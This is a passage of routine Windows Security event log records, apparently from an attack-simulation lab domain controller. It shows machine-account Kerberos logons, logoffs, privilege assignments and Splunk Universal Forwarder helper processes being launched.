Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257375 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE32E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257374 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE43C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257373 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE484 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257372 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EE4F5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50862 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257371 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE4F5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257370 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EE484 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 50861 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257369 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE484 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257368 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EE43C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257367 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE43C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257366 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4EE32E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50860 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257365 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE32E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:27:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1314 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:27:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257378 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4EE4F5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257381 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F12AF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257380 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4F12AF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50872 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:27:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257379 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4F12AF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:28:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257382 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:28:13 AM -LogName=Security 